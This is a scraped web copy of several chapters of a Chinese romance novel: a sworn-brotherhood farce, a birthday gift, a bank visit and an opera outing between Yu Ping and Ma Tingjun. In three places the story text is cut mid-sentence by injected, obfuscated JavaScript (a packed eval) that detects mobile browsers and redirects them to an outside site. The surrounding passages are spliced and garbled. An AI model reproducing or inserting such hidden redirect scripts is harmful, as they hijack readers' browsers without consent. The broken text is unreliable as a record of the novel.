麻家几个姐姐妹妹一道来,郁蕙心紧随其后,把雪花杏仁片还给俞平,俞平顺手放在桌角。最后一块蛋糕切好,麻霆君完成任务,轻松地站到前面,和俞平站在一起,看着赏心悦目。 俞平先道:“阿姐。” 麻霆君无事生非,学着他道:“郁小姐。” 一切尽在不言中了,郁蕙心笑一笑,对麻霆君说:“我们都是有兄弟姐妹的人,我弟弟从小和我一起长大,平儿也算我半个弟弟,因此我格外照顾他。虽说和你相处过,可你既然是颜青的朋友,也不知道你是好是不好……” 凡是牵及俞平,麻霆君一概听着十分感动,她还要往下说一阵,俞平不惯煽情,把她往边上拐,道:“现在说这些也太早了。” 郁蕙心道:“还有三座大山等着你,我最轻松,他要是我这关都过不去,怎么去谈公馆?你把他装进口袋混进去?” 俞平摆着笑脸,咬牙道:“你也省省,说是要找女友,不知道什么进展。” “再敢提,我揭你的底。” 二人互相威胁一阵,装着一派和谐,重归于好在麻霆君面前。麻霆君大概猜出他们说什么,便道:“郁小姐,请放心,我并非什么轻浮之人……” 郁蕙心笑道:“好了,好了,我相信他的眼光,他比常人刁多了。” 其乐融融之间,阿吉冒冒失失地前来,打断道:“五爷,俞平,大事不妙,老爷找你们。” 55.金兰 俞平顺手抄了雪花杏仁片,朝麻霆君道:“请吧,五爷。” 跟在阿吉后头,麻霆君频频瞄着俞平手里扁盒,外包一层花纸,他看不清里头装什么,终于道:“你手上拿的是什么?” “给你的生日礼物。” 俞平瞥了眼他,要把雪花杏仁片藏进衣服里。可惜穿的是西装,袖管不肥大,藏也藏不住,只往腰侧别,笑道,“说‘大事不妙’,要是老爷把我赶出麻公馆,我就留着自己用了。” 麻霆君道:“既然是‘自己用’,我猜一猜,这盒子不大,你要送我一条领带?一张唱片?” 俞平便道:“你是缺领带、缺唱片的人么,有什么好猜的?是好是坏,都轮不着你。” 麻霆君笑道:“我只是想知道,你心目中,我会喜欢什么。” 俞平笑道:“月薪没给我结,敲我什么竹杠都规划好了。代代行商的就是精,一分不肯给我留。” 阿吉把他们领到老爷的卧室,老爷窝在床上,棉被掖到下巴,看见打扮得人模人样的俞平,猛烈地咳一阵。一旁的丫鬟忙重新沏一杯热姜茶给他,他伸手打掉了,道:“才几月份,喝姜茶……以后的日子怎么过!” 麻霆君从丫鬟手里接来茶杯,坐在床前,把父亲扶起来,道:“天凉了,吃这个暖身子。” 老爷道:“何止天凉,我看你指望你爹早点凉!愈发无法无天了。” 麻霆君要了小铁匙,一勺一勺舀着喂他,道:“爹,说是染了流感,怎么不肯好好睡午觉?” 老爷瞪他一眼,厉声道:“我是个糟老头子,不能把病传给俞平!” 麻霆君笑道:“爹,别这么说,没人这么想。” “你是我儿子,心里怎么想的,我不知道?” 老爷闷哼几声,抱怨一阵,撇开麻霆君,盯着俞平——他的目光若是能化作实体,必然成了只鹰爪,钳着俞平的后颈。俞平不害怕鲜活的父亲形象,却是做了亏心事,唯恐他的怨念滔天,一步一顿,就等着麻霆君为他格挡。 麻霆君仿佛很是期待,热情地候着他,他只好折磨地来到床前。 麻老爷虽是叫了他来,但不肯同他说话,头歪在一侧,哀怨道:“我有这么多儿女,说不偏心也不实际。霆君,我从小盼你盼到大,就等着再抱几个漂亮孩子,你倒好。” 话说在这里,老爷气管呛着,又是一阵咳嗽。麻霆君把他扶直了,轻轻拍后背消解,再喂他喝姜茶。老爷闭眼道:“好了,好了,都是装样子给俞平看的。你要是真孝顺,我不会沦落至此。” 俞平不敢笑,光是抿着嘴,险些顺势靠在麻霆君宽阔后背,忽然记起老爷监视,不敢太放肆,咬着唇时刻图警醒。 老爷气平了才道:“俞平,你爹娘呢?” 俞平道:“我爹健在,我娘走得早,我是随姨娘大的。” 老爷道:“姨娘?这么说来,你还是大户人家出身的?” 俞平迟觉顺了口,为了圆谎,装着低落道:“我是卖给少爷的,少爷的爹娘是什么,我跟着算什么。” 老爷不置可否,麻霆君却心疼不已,看模样便是替他委屈起来了。老爷恨铁不成钢,不想计较麻霆君,又诈他道:“你在鹭镇这么久,你那少爷怎么想的,也不来找你?” 俞平便道:“他嫌养我脏名声,肯留我一条命,便是耗尽多年情谊了。” “倘若你肯安心过日子,他也就罢了?” “是的,老爷。我前阵子把存在他们家的款都取了出来,另开了个户,在小银行,没见他来计较,估计是算了。” “我知道你在布店半年,踏实低调,唉!你这叫我见犹怜,我看你实在讨人喜欢。” 老爷右手牵着麻霆君,左手空落落搭在床上,麻霆君看俞平眼色,把他的手交在老爷手心。老爷双手握着他们,叹气道,“霆君,你这场生日,我身体抱恙,没能好好为你准备。如此,我就当再多一个儿子了……俞平,我愿意认你当干儿子,从此我们是一家人了,你好好帮衬霆君。” 麻霆君惊喜道:“爹,此话当真?” 老爷道:“你敢再让我说一遍,就是假的。” 地下忽然钻出一个胖子,一个瘦子,和和美美拼作一块: “兄弟如手足,父子如衣服。” “长兄是五爷,做梦乐开花。” 老爷吓一跳,胖子立刻笑嘻嘻挨了过来,挤在床头柜边上,道:“老爷,您老来得子,五爷新添个好弟弟,凑个双喜临门,实在是吉利。这轮风寒过去,您必将长命百岁!” 瘦子正是从前说了不少俞平的坏处,在老爷这里捞了不少好处,此般见到老爷赞成他们,便也没有再挑拨离间的理由,反而道:“老爷,我先前总说俞平是狐狸精,可您一定知道《白蛇传》,白蛇都分好坏,白狐亦然。俞平是来助我们五爷一臂之力的,千百年后,必然有一出《白狐传》,我们鹭镇一同沾光。” 老爷皱着眉,胖子又道:“老爷,地上办喜事,天上神仙不知道,便无法布施恩泽。五爷和俞平结拜了兄弟,我们当然要向老天通报一声。” 老爷怀疑道:“怎么通报?” “老爷,我们有个好法子,正好您也在场,择日不如撞日,现在就开始。”胖子把俞平和麻霆君拉了起来,中气十足道,“一拜天地——” 俞平不知不觉被往前推,愣道:“怎么拜天地了?” 胖子嫌他不懂事,嘴角一垮,道:“身体发肤受之父母,你们既然结拜兄弟,岂能不拜天地?” 瘦子也道:“老爷和五爷都等着,你快去应了。” 毕竟是兄弟结拜,不如夫妻,管自己站在一旁便是了。麻霆君搂起俞平的肩膀,半把他抱在怀里。往常温暖的怀抱,这时候也变得长了尖刺似的,俞平被刺挠得慌,却挣脱不开。 瘦子喝道:“二拜公馆——” “夫——” 胖子一跺脚,改口道,“兄弟对拜——” 一场闹剧看得老爷头痛欲裂,怕是要病至次年春。礼成后,胖子嫌他们表示不够,再讲场面话,道:“结拜为兄弟,恩爱两不疑[1]。是兄弟,就要恩恩爱爱。” 瘦子道:“在天愿作比翼鸟,在地五爷与俞平。[2]” 老爷紧皱的眉头霎时解开了,振作起身,道:“嗳,我是嫌儿子娶个男人过门,讲出去太难听。你们真成兄弟了,不是我原先想的这样?” 煞费苦心这般久,哪能就此弄巧成拙了?麻霆君慌道:“不啊,爹!不结拜了!” 老爷的笑脸冻结着,俞平的笑脸藏在背地,麻霆君则欲哭无泪。里头说是胖子最机灵,立刻拉开窗户,先大叫一声,喊道:“老天爷,不结拜了,先前的都不作数!” 俞平火上浇油,道:“神仙都知道了,怎么好悔改?” 老爷也道:“是,俞平,你什么都不要想,就安心做霆君的干弟弟。” 麻霆君第一个不肯,却是急火攻心,什么都说不出来了。瘦子忙道:“五爷,你们再拜一遍天地,好好向老天爷求个情!” 俞平道:“不行……” 胖子把他向前拱,道:“快去,快去!否则老爷的病好不了了。” 方才还一派有情人终成眷属的浓情,不想有情人成了兄弟,谁都失了心情,便是草草地办了: 瘦子道:“一拜天地——” 胖子赶过来,道:“二拜公馆——” “兄弟——” 瘦子正要高喝,胖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14958174|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子嫌他不讨巧,接过话茬,道:“哪来的兄弟?陌生人对拜——” 老爷吃空一杯姜茶,丫鬟开了门,接了楼下煎药的来,在一旁搅了两颗□□糖进去,使劲吹凉一些,请老爷喝。老爷皱着眉头喝空药,麻霆君立刻把茶杯里的水续上,老爷病得难受,更不想看他活蹦乱跳,道:“霆君,你不去招待客人?” 麻霆君牵着俞平的手,上前道:“爹,我保证会好好待俞平的,您不用担心。” 老爷道:“我有什么好担心的?赶紧给我走了。” 回去的路上,胖子先道:“五爷,我们去帮忙了,不打扰您二位。” 这两人走了后,麻霆君路都走不太稳,几步路变作跌跌撞撞,非要往俞平身上靠。俞平推他几次都推不开,恨不得他是只小狗,对他凶一些也无可厚非。 偏偏麻霆君养狗久了,多少沾点狗气,使得俞平对他手足无措;忽然想起什么,把扁盒往他手里塞,道:“给你的。” 麻霆君惊喜道:“哎呀,我都忘了这码事!” 俞平笑道:“装什么,没见你眼睛离开过它。” 麻霆君太得志,脸上浮着微笑,怕讨俞平的骂,头低得愈厉害了些。顺着粘合处拆开花纸,见到里头整齐码着的雪花杏仁片,先尝了一颗,嚼过几口含在嘴里,望着俞平。 走廊隔几步路才是一盏灯,理应不太敞亮,麻霆君的眼睛却是亮晶晶的,看得俞平十分心软,总归是嫌自己送礼不周到,小声道:“我以前在香岛常买这家手信,现在开到枢城,托郁蕙心给我带了来……” 身后两个萝卜似的人拔了出来,挨着麻霆君,好像也知道见不得人,一个说话比一个小声: 胖子勾肩:“点心点心,点的就是心意。” 瘦子搭背:“礼物礼物,礼得就是五爷。” 麻霆君惊道:“你们是从哪里冒出来的?” 瘦子嘿嘿笑道:“五爷,我们顺路。” 分岔路口,黑着一张脸的俞平,站在原地,监督他们走远了,才把麻霆君拐去另一条小径。 小径另一头通向花园,格外狭窄,也不设电灯。风穿堂而过,捎来一点点天光,俞平的碎发飘在额前,麻霆君看在眼里,只觉得是小猫般的柔软皮毛,非要伸手揉一揉。 手下滑至面颊,俞平抬半边肩膀,歪头夹着他的手,他嘴角零星几点碎渣多少突兀,想来是杏仁片落的雪,叫俞平不得不看着,心里酝酿出个坏主意。就算最终引火上身,只要看见麻霆君出窘相,俞平也乐在其中。笑一笑,道:“这家手信在香岛是字号,开来枢城,不知道有没有偷工减料,叫五爷印象不好。” 麻霆君道:“怎么?我尝着很好吃呢。” 俞平故意道:“我记起来了,你吃什么都好吃,你的评价不作数的。” 麻霆君笑道:“哦,你是说你也想尝一尝。” 他的手却背在身后,俯身向前。没想到他逾矩一回,近在咫尺,俞平心里匪夷所思,竟忘记推开他:一切都是熟悉的,他知道麻霆君的吐息,身上绣着什么香气,可这样的一个吻,等了有多久?一切称得上什么?不见得密友或兄弟能够亲吻,陌生人更不尽然,麻霆君却也不是他的恋人。算了!这里一切理不清道不明的,随秋风而去便是了。俞平正鼓起勇气承受着一切—— “五爷!生日宴上甜菜缺一味料,想改了放汤,等着你拍板呢!我寻遍前厅找不到人影!” 阿吉来得太冒失,见到两个黑影是模糊在一起的,不想搅了好事,惨叫一声,撒腿就跑。 麻霆君搭在俞平身上的手哀哀地松了,打在西裤裤腰,却也不好意思地低下头,脸红一阵,扑哧笑出声来。俞平靠在墙上,陪他一起笑着,半晌一前一后回了宴会厅。 56.可可 枢城。栀子花街道三号银行。 距离正式接手银行差不多一年,谈文翡最后剩下的事务完成大半,正式收尾在明年暑月,与合约条例有所摩擦,便请麻霆君去细谈事宜。 这等好事不会放过俞平,麻霆君捎了他一起。 早前对谈文翡的人太嚣张,他的伎俩被识破,祸根必定埋在那次示威上。到底是鹭镇比枢城自在,俞平尚珍惜,难得夹紧尾巴做人,来时在脸上蒙了块手绢,哪想到麻霆君车上有这么闷,便是被捉拿归案也不在话下了,丢了手绢,管自己透气。 到了银行,麻霆君被职员叫去二楼会议室商谈,俞平攀在窗台,等着秋风穿过脸庞。 今天的天气实在是好,所以黄昏也分外可爱。枢城进入冬令时,路灯开得早,灯泡藏在常绿乔木之中,暖色灯光照亮一片乌漆漆的绿,半青不黄,像一个半熟的橘子。 听见后头有人叫他:“打搅了,您好?” 这里只有他一人。他回过头,身后那人见找对了,面露微笑,道:“您是麻先生的同伴吗?” “是。” “劳驾耽搁一点时间,请跟我来。” 俞平跟着那人进了一间小办公室,想来谈文翡不是没事找事之人,手足情谊上更喜欢乖巧的谈行一,急事也轮不着他,不知道耍的什么花头。 那人为俞平拉开椅子,再去到办公桌后,喀哒开了抽屉的锁,奉上两张门票。 因为是颠倒着面对俞平,眯着眼睛也看不清楚。那人笑一笑,反着转半轮,才见是两张演出门票,中外两类文字整齐叠了两排,芭蕾舞剧《胡桃夹子》。 这年俄国暴风雪,舞团赶不过来,原定圣诞上映的舞剧顺延至次年春,开票更是奇怪,纠纷阵阵,包不了场,只能退而求其次地买包厢。 那人道:“这是大小姐为您预备的生日礼物。” 可是银行确实是谈文翡的地盘,俞平愣道:“大小姐?” 那人笑道:“是,全都是大小姐。我们公馆已经没有二爷了。” 俞平心神一凝,不去琢磨他的话,翻覆着看两张门票,道:“都在这里了?” 那人道:“是的,留给您的都在这里。大小姐另备了一份厚礼,留给四爷。” 再奉上一只信封。俞平把门票装进去,折了封口,塞在外套口袋里,起身要走。那人朝他鞠了一躬,道:“如果有其他的需求,都可以提出。我会为您保密。” 俞平道:“两杯热可可,一杯送去会议室。” “好的。请慢走。” 会议室里始终热闹,不久后有人敲门进去送热可可。俞平哪里都不想去,干脆在门口等麻霆君。他手心里捧着杯热可可,喝了几口嫌太甜,可惜捂得身子暖和,难得吝啬起来,再等一会去换热茶。会议室门开得倒是不太及时。麻霆君第一个出来。 “等了很久吧,实在是对不住,下次一起来里面坐着就好了,总比无聊强。” 他看见俞平手里的热可可,惊喜一笑,道,“嗳,你也有?” 俞平道:“我不想喝了。” “不喝就不喝,走吧。” 麻霆君接了杯子,把他一道牵了走。出了银行的门,俞平心里一直低落,大抵表情也好看不起来,不想麻霆君多嘴,便把手绢抽了出来,重新蒙在脸上。 又大抵是心情实在低落,弄巧成拙,麻霆君果真道:“怎么了,有心事?” 俞平随口道:“没发现今天风很大吗?” 麻霆君当是自己做的不够好,灵机一动,敞开外套,把他也往身子里裹。俞平开心片刻,嬉笑着推开他,道:“离我远点,没叫你献殷勤!” 麻霆君笑道:“是吗?” 又挨了上来。二人没个正形,歪歪扭扭上了车。趁开车的功夫无事可做,俞平瞄了眼麻霆君,道:“心情不错?” 麻霆君开车时抽空看他一眼,笑道:“是不错,这家银行大有前途,我以后是赚大钱的,要比我爹,比我大哥更有出息!” 民办银行,又是从谈家出来的,赚钱的命脉有一半按在俞平手上,越加不知道麻霆君雄心壮志什么。他却看麻霆君实在高兴,内心跟着灵动起来,一阶一阶向上抬。又道:“好么,麻大行长,我们接下来去哪?” 麻霆君大抵有事瞒着,说话时犹豫不少。可惜心思集中在开车上,抽不出空应付他,坦白道:“去带你买新衣服。” 俞平道:“败家子,赚几个钱了?” “不是。”麻霆君笑道,“我订了另外一家法餐的位置,有着装要求。一直说要给你买衣服,抽不出时间,正好现在去了。” 俞平心里犯嘀咕,着装要求算什么,就说是谈凭玉来了——四爷来了!全枢城就一个四爷,什么无必要的规章制度不肯为他通融,可惜暂时不能和麻霆君挑明,便是一笑而过。枕在靠垫,无事生非道:“唉!到时候镇上人怎么说都不知道,‘我们五爷年方二二,仪表堂堂,洁身自好’,最后和俞平同流合污了。” 麻霆君伸手弹他的鼻尖,笑道:“我们平儿也是仪表堂堂、洁身自好的,没有同流合污,我们是志同道合的好朋友。” 又道:“衣服么,天天都要穿,你在我家教英文,多添几身也无所谓。” 麻霆君最喜欢的西装店在艺术学院后街,俞平心里觉察出不对,看店招牌,似乎和他常买的是同一家,因为不准抛头露面,一直没去过,都是喊裁缝来谈公馆。当下愣了神,脚步轻飘飘,由麻霆君领了进去,大门撞着门口吊着的玻璃风铃。 一见他来,店里的学徒立刻丢了活计,招呼道:“麻先生,您来得真巧,衣服是中午才检查好的,还打算明天一早再给您打电话。” 麻霆君笑道:“常客了,我猜时间也差不多。” 学徒笑道:“都烫过的,挂在后头,我马上给您取。” 俞平听出不对劲,道:“什么意思,你早给我订衣服了?这家不做成衣,你怎么订的?” 麻霆君得意道:“何老板给你缝新衣,总不能瞎做一气。我毕竟是麻五爷,问她讨你的尺寸,小事一桩啦。” 俞平便拧着他的耳朵,笑道:“有这点心思,多记几个英文词多好!” 麻霆君顺势往他身上靠,笑道:“哎呀,我想过了,有你给我当翻译的。” “难道你就大字不识一个了?” “这是分工明确。” 麻霆君订的衣服多,学徒一件件抱出来,挂在衣架子上,重得摇摇欲坠。俞平脱了身上旧棉衣,还没捞件新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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夜里太冷,西装店只是闷热,不算暖和。麻霆君没叫俞平一件件试过去,直接打包好,再把店里上下人物都谢了一遍,另塞了小费。学徒们来致歉,老裁缝今天在谈公馆,没法来迎接。 提起谈公馆,两人脸上都是一阵窘迫,都顾及对方,又都不好表现出来,心怀鬼胎,去了法餐厅。 法餐厅开在酒店里,顶上是住宿,很是高档,大厅里开空调,宾客穿得都单薄。他们靠窗坐,俞平脱了外套嫌冷,把棉衣搭在腿上。 还是规矩多的地方好,套餐都是规定好的,厨师上什么他们吃什么——忽然想起自己也是被安排的明白,俞平顿时又有些哀愁。外头风呼啸而过,幽幽浮着树木,城市都被夜淹没了,他靠着着窗户,漂泊在夜色中,也许谈凭玉真被那场海难淹死了,没有人上岸。 “你知道吗,今天是我们认识的第二百天。” 俞平没心情,只道:“我不知道。” 麻霆君笑道:“我也不知道,我是乱说的。” 麻霆君这话说得俞平如释重负,心上再有多少忧郁,好像也不成气候。玻璃窗里倒影色彩在夜里太艳丽,才看见是麻霆君识破他心思,微笑着往玻璃上靠,与枝桠一并浮上他的心头。他也朝麻霆君笑一笑,听得出那时乐队奏乐,《花之圆舞曲》,马上要到圣诞节了。 57.戏园 詹兰竹总在镇上打短工,俞平有时在布店待不住,跟着他一起出门折腾。偶尔是体力活。詹兰竹不比他是娇生惯养小少爷,睡一觉便平安无事,他要多腰酸背痛几天,才慢慢消除。 在滩涂搬了一天货,夜晚上阁楼,床太硬,铺了枢城来的床垫,便是钝钝的刀背,一点点拉锯在他的骨头上。路都是自己选的,俞平有一万次回谈公馆的机会,却仍然留在鹭镇,更没有挑剔的道理了。只是半梦半醒的时候,他又觉得自己做回了谈凭玉。 气温骤降,冷风一脚踩穿天窗,到底是香岛好。 香岛终年湿热,有点本事的都搬去山上,房子造多了,成一派华贵住宅区。谈凭玉的那一栋位置最好,随波逐流地按南洋风情装潢,又带点枢城老底子的矜贵,雕栏玉砌,金碧辉煌。 香岛过圣诞节,舞厅响应节日气氛,布置得焕然一新,然而平时也没人来跳舞,无论如何都是新颖的。冷杉树下礼物堆成一个小丘,谈凭玉拆了一半作罢,翻来覆去都是老式样,也只有古董的年份不大相同,或是国外出了什么新奇物件——香岛什么买不到。 三姨太膝下并无子嗣,谈凭玉生母走得早,纵使最后归给严太太,她也把他作亲生孩子一般对待,血浓于水塞在卡片上。话说得再招人嫌,十八年前确实是母亲受难的日子。她说他的母亲一定在天上祝福着他。没有人不爱他。 睁眼与闭眼所看见的都是一类颜色,俞平不知道自己身处何地,侧身硌到水果糖罐,体温漾在铁皮上,才有些实感。谈凭玉仰头看见舞厅繁复穹顶,往下镶彩色玻璃,白天煞是好看,阳光一块块敲落下来,踮脚踩过一轮,好像行走在彩虹上,晚上却是嘈杂不少。 舞厅的偏门连接露台,外头云雾浓重。夜里云与海实则是一种景色,成年后的第一捧浪正预备着他; 俞平翻来覆去睡不着,想起麻霆君,想起他空洞的生日愿望,总算糊弄了眼睛,一觉睡至十九岁。 生日到了。 生日到了,这在枢城尚且算个节日,在布店掀不起半分波澜。他本想在布店消磨一天,吃过早饭看日历,今天还是去麻公馆的日子。 难得怨天尤人一路,胖子瘦子之流一个个数落过去——他那时精疲力竭,若是他们机灵些,听得出他报出什么名字,哪用将错就错迄今。 麻霆君的汽车停在门口,麻秋棠降了窗户,叫他:“嗳,俞平,快上车!” 俞平开了车门。后座除了麻秋棠,还有个瘦小丫鬟,紧挨着她坐。有人监督,俞平不敢反客为主去副驾驶,贴着车门坐了,尽可能离她们远一些。 她又道:“我要去枢城看戏,是我哥哥带我去,所以也便宜你了。” 见不到司机人影,俞平便道:“五爷呢?” 麻秋棠道:“他说你的围巾落在书房了,为你去取。” 俞平没有围巾,禁不起细想,必然是麻霆君又要塞给他什么东西,实在孩子气。笑了笑。 边上麻秋棠与丫鬟捣鼓一阵,突然开口道:“马上要和我哥哥一起看戏了,俞平,我问问你,你现在是什么心情?” 俞平道:“很感激的心情。” 麻秋棠戳了身边丫鬟,笑道:“听到没有,快记下来。” 丫鬟奋笔疾书,嘴里念叨着:“麻霆君和俞平相约在戏园,麻霆君没捧戏子而独宠他一人,他非常感动,准备以身相许……” 俞平狠狠吓一跳——早知道麻公馆里麻秋棠请人编话本,专门写自己喜欢的看,哪想到有这般露骨。 麻秋棠不比麻霆君,就算是小狗妹妹,也是娇贵的小型犬,在贵妇人怀里从小抱到大的,依不了他的使唤。他不想搅了小姐兴致,犹豫道:“写得不准,是‘麻霆君和俞平相约在戏园,一起看了一场戏,彰显出麻家的善心’。” 麻秋棠一撅嘴,道:“你算个什么,还敢教我们?” 俞平小心地道:“我是在纠正错误。” 麻秋棠道:“哪里有错误?难道你心里不是这么想的吗?” 麻霆君敲了车窗,先把一方叠好的格纹围巾塞了进来,监督俞平裹上。丫鬟便又写起来了:“麻霆君一肚子坏水,是个远近闻名的大坏人,不给妹妹发零花钱就算了……不知道从哪扯来一根围巾,把俞平五花大绑了。” 麻霆君跨上车,插了钥匙,道:“行了!开玩笑也要分场合。” 麻秋棠道:“平时看你看得高兴,这时候表现什么?真是恶人先告状,还很小气呢!” 麻霆君笑着掏皮夹,给了她几张大钞,她顾着点钱,懒得搭理他们。眼见事态平息,他便道:“俞平,坐过来。” 偏偏麻秋棠收了钞票,扯过俞平的围巾,耍赖道:“俞平,你不准过去,也不准和他说话!” 麻霆君不满道:“就算是土匪,也是‘一手交钱,一手交货’。捞了我的好处,还不肯放人,哪有你这样的?” 麻秋棠笑道:“俞平哪是我的人,我怎么交给你?” 麻霆君道:“后座坐不下你们三个,叫他上来了,让你能翘个腿。” 麻秋棠道:“哎呀,是想让他翘腿吧,你这么照顾他!” 俞平夹在其中装稻草人,麻霆君见他不动,总归是自己理亏,也不顾麻秋棠怎么说,起身开了车门,把他提上副驾驶。 去枢城轻车熟路。俞平本以为戏园在江南,看风景时还津津有味,哪知道在江东,再踩几脚油门要去滨江了。家里严太太与三姨娘都是戏园常客,更不说其他门户,他顿时如坐针毡;下车后麻秋棠与丫鬟欢呼雀跃,唯独他害怕被人认出来,失了底气,下巴埋进围巾里。 麻霆君撩他的围巾,笑道:“今天没风,也不冷。我好好记着你说过什么的。” 俞平压低声音,道:“唉呀,五爷……都要到谈公馆了。” 麻霆君也十足吓了一跳,手上打颤,末了急忙把他藏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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俞平棉衣太厚,坐下后小雪人似的鼓成一堆,麻霆君穿大衣,气派得多。他不甘心,不安生地把麻霆君挤在角落,轻轻掐人家的手臂,道:“嗳,你平时锻炼吗?” 麻霆君犹豫道:“家里遇上体力活,都会叫我去帮忙。你说的锻炼也有。” “你不是做少爷的,怎么还去帮忙?我当你每天钻研怎么叫胳膊多生二两肉。” “那真是花拳绣腿了。” 俞平幽幽道:“可这宽街窄腰,总不可能是锻炼出来的。” 麻霆君笑道:“怎么了,你又英俊又挺拔,至于酸溜溜地说我?” “我哪是酸溜溜,我是可惜酒香也怕巷子深。”俞平眼神暧昧地捋他一阵,喝醉了般,“有这般好身材,怎么好浪费在我身上,你不如去从了四爷。我也不亏你,甘愿在外面给你做小。” 趁麻霆君愣着,他再笑道:“四爷这么有钱,你多骗来一点,回来你六我四地分了。何况我还白贴给你,你说怎么样?” 58.珠帘 俞平抛媚眼也不自觉,全靠看麻霆君脸色多红。麻霆君被他迷得要晕倒,他凑上前,刮麻霆君的鼻梁,笑眼弯弯地道:“嗳,你个胆小鬼!” 麻霆君才释然笑了声,鹦鹉学舌道:“嗳,我就是胆小鬼!一朝失足千古恨,小心驶得万年船……” 话虽说着,也往俞平身边靠,才蹭到衣袖,戏园里的人来点了座位旁两只小火炉,便称不上冷。俞平赶他走,笑道:“走开,走开!这泼天的富贵原本轮至你我,你却不肯接下。” 麻霆君道:“那么,我要是走了,谁请你来做银行翻译?” “谁稀罕?赚钱哪有花钱舒服。” 俞平怕太过火,顿了顿,笑道,“何况还有个五爷来服侍我,这日子别提有多美了。” 麻霆君气量大,当是一场玩笑话,轻轻推了他,笑道:“难怪撺掇我去谈公馆,原来是你受益最大。” 俞平嗤笑一声,道:“枢城就一个四爷,你以后骑在他身上,心里还不痛快吗?” 麻霆君道:“怎么不能指望我好?过几年,我有志气在枢城也做成五爷,保你富贵齐天。” “现在良心好,以后不见得。” “怎么?” “都说,‘男人有钱就会变坏’,颜青够有钱了,你指望过他吗?” 俞平嘴上与他打发着时间,盯着舞台发慌。好不容易熬到一旁奏乐的敲了锣鼓报幕,其后上来一个角儿,脸上抹得雪白,碎步行进,水袖款款。 谈行一有过比美实验,得出结论:枢城里头不论唱戏的拍电影的,没有一个艳得过谈凭玉的。沦落迄今,成了俞平,也怕角儿认出自己,眯着眼睛,非要看清人家长什么样。麻霆君再要说话,也被他捂了嘴。真正看清后不由得大失所望:这般浓妆,底下是谁都无所谓。 那角儿还没开口,只是端着台步绕一圈,源源不断地有金币、手表一类砸上去。俞平看得实在诧异,咂舌道:“这就能赚钱了?” 脱口而出后又是一阵后悔:还不知道麻霆君怎么看待的他。他好像从来没担忧过,起疑是头一回。必然是戏园靡靡之地,催的人神志不清,不知道犯什么傻。 “所以我愿意坚守自身,是不是很难得?” 麻霆君笑着看他,“别嫌我自恋,说实话,要不是你五爷小有姿色,你肯搭理我吗?” 俞平装着凶狠乜他一眼,总是绷不住笑,嘀咕道:“不得了,发狗瘟了。” 麻霆君道:“才夸我英俊,这么快就翻脸不认人了。” 俞平笑道:“说两句就信?哪天我去江湖行骗,第一个宰你。” “好。”麻霆君笑道,“要财还是要色?” “真把自己当盘菜了。你哪个都没有。” 俞平嘴上不饶人不够,要吃干抹净,一只手穿进他的臂弯,牢牢把他拐了,又觉得没脸做人,提着围巾把脸蒙上。 台上角儿开场,嗓音尚可,腔调太嫩。俞平听几句解了新鲜劲,倒是无聊起来,也不想再搭理麻霆君,搬来一只靠枕玩。一时间听见起哄声阵阵,敏锐抬头,捕了个角儿笑容的影子,紧接着麻秋棠也回头笑他们——俞平心里大概有了底,这角儿朝他们示好。 他是蒙着脸的,那就是麻霆君了。 “我向你保证,我没看他。” 麻霆君先来卖乖了。俞平仗着表情遭围巾吞没,嘴里笑话他,眼睛依旧维持着平静,装傻充愣地道:“没看他,你来看什么戏?” 麻霆君道:“不是……” 支吾半天,担忧言多必失,安生闭了嘴,倒是勾了珠帘的搭扣,任其噼啪散开。 俞平瞄一眼,帘幕还有些讲究,望出去一清二楚,想必是外头的看不清他们。贼心愈烈,不怀好意道:“哦,是要叫我放心?我还没怨你,倒先不打自招了。” 麻霆君才闷闷道:“我是向着你的。” 俞平道:“人家好歹是戏班子里一棵摇钱树,我是什么?他要知道他被你拿来和我比,真是晦气死了。” 又道:“有人示好不是挺正常的……” 他正要把谈四爷重新搬出来,幕后绕出了个黑衣,掀帘子探进脑袋。 “先生,您后面有什么安排?”黑衣笑着,热情道,“台上那位,我们班子的头牌,想请您共度晚餐。” “他没空!”俞平抢先道。 黑衣扫他们一眼,双手合十,说了些道歉的话语,眼里应当是可惜,俞平只觉得他在嘲笑自己。总是要叫四爷来把麻霆君抢走,如法炮制,真来了一个戏子,没想到是这般心急如焚。 “嗳,怎么了?”麻霆君微微动臂弯,戳着他。 他道:“你少管我。” 醋吃在戏子身上,也没什么太大的出息了。戏子在他们这里算不上完整的人,只是公园喷泉上的雕塑,常去公园踏青时都要摸上一摸,搬回家又嫌笨重;话又说回来,他是谈凭玉,“俞平”真是个幌子,他肆意妄为惯了,嫌少记得本分。 俞平当是笼中鸟,金丝雀,与那戏子同在下九流,别无二差——可谈凭玉不是如此?谈凭玉的诞生是重磅砝码,起初压在他姐姐的对面。算他实在没本事,由谈皎支着名头行事,他比鸟都不如,不过是钉在屏风上的金丝线,勉强混了个四爷的名头,叫旁人艳羡。不比戏子和他捏造出的俞平,至少光明磊落,敢爱敢恨。 麻霆君看他不自在,抽手把他抱在怀里,另一只手来寻他的手腕,顺着与他十指相扣,又是低着头看他,眼神藏在一排睫毛下,显得十分宠溺。卷起袖管,小臂横在他眼前,嘴里哄着: “平儿,好平儿,都是我坏,依你打过出气。” 面前两炉火焰熊熊烧着,蔓延至俞平身上,烧至寸草不生。他方 